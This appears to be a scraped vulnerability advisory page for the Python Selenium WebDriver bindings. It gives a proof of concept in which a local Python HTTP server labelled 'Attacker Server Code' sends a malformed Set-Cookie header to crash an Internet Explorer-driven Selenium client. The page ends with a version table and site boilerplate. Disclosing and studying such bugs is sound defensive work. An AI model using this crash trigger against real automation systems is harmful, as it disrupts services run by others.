Attacker Server Code

from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime, timedelta

class CustomHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        # Send response status code
        self.send_response(200)

        # Send headers
        self.send_header('Content-type', 'text/html')
        # Set the cookie expiration to one day in the future
        expiration_date = (datetime.utcnow() + timedelta(days=1)).strftime('%a, %d %b %Y %H:%M:%S GMT')
        
        well_formed_cookie = f"cookie_name=cookie_value; Domain=127.0.0.1; Path=/; HttpOnly; Expires={expiration_date};"
        self.send_header('Set-Cookie', well_formed_cookie)

        malicious_cookie = f"cookie_name2" #crash
        self.send_header('Set-Cookie', malicious_cookie)

        self.end_headers()

        # Send message back to client
        message = "Hello world!"
        self.wfile.write(bytes(message, "utf8"))
        return

def run():
    print('Starting server...')
    server_address = ('127.0.0.1', 8090)
    httpd = HTTPServer(server_address, CustomHTTPRequestHandler)
    print('Server is running...')
    httpd.serve_forever()

run()

Example Victim Code

from selenium import webdriver
import logging
import time

handler = logging.FileHandler("sel.log")
logger = logging.getLogger('selenium')
logging.basicConfig(level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
logger.addHandler(handler)

options = webdriver.IeOptions()
options.ignore_zoom_level = True
options.ignore_protected_mode_settings = True
options.attach_to_edge_chrome = True
options.initial_browser_url = 'https://selenium.dev'
service = webdriver.IeService(log_file="ie.log", log_level='DEBUG')
driver = webdriver.Ie(options=options,service=service)

driver.set_page_load_timeout(20)
print("Getting the page: ")

try:
    driver.get("http://127.0.0.1:8090/")
except Exception as e:
    print(e)

print("Got the page!")
print("Get Cookies: ")
cookies = driver.get_cookies()
print(cookies)
time.sleep(3)
driver.quit()

version	published	direct vulnerabilities
1.0.3	26 May, 2010	0 C 1 H 0 M 0 L
1.0.1	17 Jun, 2009	0 C 1 H 0 M 0 L
0.9.2	25 Apr, 2008	0 C 1 H 0 M 0 L

selenium vulnerabilities

Official Python bindings for Selenium WebDriver

Package versions

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.